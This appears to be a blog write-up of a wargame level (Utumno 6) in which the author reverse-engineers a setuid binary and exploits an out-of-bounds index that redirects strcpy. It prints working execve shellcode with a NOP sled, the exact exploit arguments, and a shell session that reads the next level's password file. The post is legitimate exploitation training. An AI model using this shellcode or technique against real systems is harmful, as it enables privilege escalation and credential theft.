utumno6@utumno:~$ /utumno/utumno6 Missing args utumno6@utumno:~$ /utumno/utumno6 A Missing args utumno6@utumno:~$ /utumno/utumno6 A A Segmentation fault utumno6@utumno:~$ /utumno/utumno6 A A A Table position 0 has value 10 Description: A
It does something only when there are three command-line parameters.
Let's look at function calls with ltrace:
utumno6@utumno:~$ ltrace /utumno/utumno6 A A A __libc_start_main(0x80484db, 4, 0xffffd794, 0x80485b0 <unfinished ...> malloc(32) = 0x804a008 strtoul(0xffffd8c3, 0, 16, 0x804a008) = 10 strtoul(0xffffd8c1, 0, 10, 0x804a008) = 0 strcpy(0x804a008, "A") = 0x804a008 printf("Table position %d has value %d\nD"..., 0, 10, "A"Table position 0 has value 10 Description: A ) = 45 +++ exited (status 0) +++
We see two calls to strtoul(): most probably passing the command line parameters.
Let's use numeric parameters
utumno6@utumno:~$ /utumno/utumno6 2 3 4 Table position 2 has value 3 Description: 4 utumno6@utumno:~$ ltrace /utumno/utumno6 1 2 3 __libc_start_main(0x80484db, 4, 0xffffd794, 0x80485b0 <unfinished ...> malloc(32) = 0x804a008 strtoul(0xffffd8c3, 0, 16, 0x804a008) = 2 strtoul(0xffffd8c1, 0, 10, 0x804a008) = 1 strcpy(0x804a008, "3") = 0x804a008 printf("Table position %d has value %d\nD"..., 1, 2, "3"Table position 1 has value 2 Description: 3 ) = 44 +++ exited (status 0) +++
The sequence of operations that the vulnerable code executes are:
- allocates 32 bytes in the heap with a malloc(32)
- executes two conversion from string to unsigned long with strtoul()
- the first parameter is converted as base 10 number
- the second as base 16
- they are stored somewhere on the stack
- Copies the third parameter on the heap with strcpy
Now let's disassemble and add a few comments to explain the code
utumno6@utumno:~$ gdb /utumno/utumno6 ... (gdb) disas main 0x080484fd <+34>: call 0x8048380 <malloc@plt> 0x08048502 <+39>: add $0x4,%esp 0x08048505 <+42>: mov %eax,-0x34(%ebp) # malloc stored its output (the target buffer address) into -0x34(%ebp) 0x08048530 <+85>: call 0x80483b0 <strtoul@plt> 0x08048535 <+90>: add $0xc,%esp 0x08048538 <+93>: mov %eax,-0x4(%ebp) 0x08048548 <+109>: call 0x80483b0 <strtoul@plt> 0x0804854d <+114>: add $0xc,%esp 0x08048550 <+117>: mov %eax,-0x8(%ebp) # The strtoul stored first parameter in -0x4(%ebp) and the second in -0x8(%ebp) 0x0804856d <+146>: mov -0x8(%ebp),%eax 0x08048570 <+149>: mov -0x4(%ebp),%edx # It copied the first parameter in eax and the second parameter in edx 0x08048573 <+152>: mov %edx,-0x30(%ebp,%eax,4) # Then it wrote the second parameter in a location that is influenced by the first parameter (via %eax)
An idea could be to use the first parameter to advance on the stack to reach the location of return address of main().
Then overwrite it using the second parameter so that the return address points to the buffer containing the third parameter. And put a shellcode as third parameter.
Unfortunately it's not possible because there is a check on the first parameter: it must lower than decimal 10.
So we can't go up the stack enough to reach the return address location!
0x08048553 <+120>: cmpl $0xa,-0x8(%ebp)
0x08048557 <+124>: jle 0x804856d <main+146>
Well, what about using a negative number for the first parameter?
We may be able to go down on the stack to reach some other areas.
Let's try with -1:
utumno6@utumno:~$ /utumno/utumno6 -1 41414141 BBBBCCCCDDDDEEEE
Segmentation fault
Mmmmh interesting... let's check what happens with ltrace
utumno6@utumno:~$ ltrace /utumno/utumno6 -1 41414141 BBBBCCCCDDDDEEEE __libc_start_main(0x80484db, 4, 0xffffd774, 0x80485b0 <unfinished ...> malloc(32) = 0x804a008 strtoul(0xffffd8ad, 0, 16, 0x804a008) = 0x41414141 strtoul(0xffffd8aa, 0, 10, 0x804a008) = 0xffffffff strcpy(0x41414141, "BBBBCCCCDDDDEEEE" <no return ...> --- SIGSEGV (Segmentation fault) --- +++ killed by SIGSEGV +++
Whoa... we controlled the location target of the strcpy with the second parameter.
So we can now find a way to exploit it:
- put an EGG on the stack with some NOP sled
- find its location on the stack
- use -1 as first parameter
- use location of the return address as second parameter
- use the location of the EGG as third paramter (4 bytes to be copied, no more!)
Let's set the EGG with some NOP sled and a standard shellcode:
export EGG=$(python -c 'print "\x90"*100 + "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x31\xd2\x31\xc9\xb0\x0b\xcd\x80"')
With a few runs in gdb we can find the return address is located at 0xffffd64c
So we can exploit and get a shell (gdb drops prvivileges)
utumno6@utumno:~$ gdb /utumno/utumno6 ... (gdb) set args -1 ffffd64c $(python -c 'print "\x60\xde\xff\xff"') (gdb) r Starting program: /utumno/utumno6 -1 ffffd64c $(python -c 'print "\x60\xde\xff\xff"') Table position -1 has value -10676 Description: `¦¦¦ process 3207 is executing new program: /bin/dash
$
And now outside gdb: we have to add some bytes to the return address (usually 0x10 bytes)
utumno6@utumno:~$ /utumno/utumno6 -1 ffffd65c $(python -c 'print "\x60\xde\xff\xff"') Table position -1 has value -10660 Description: `¦¦¦ $ id uid=16006(utumno6) gid=16006(utumno6) euid=16007(utumno7) groups=16006(utumno6) $ cat /etc/utumno_pass/utumno7 t********e
$
No comments:
Post a Comment
Note: Only a member of this blog may post a comment.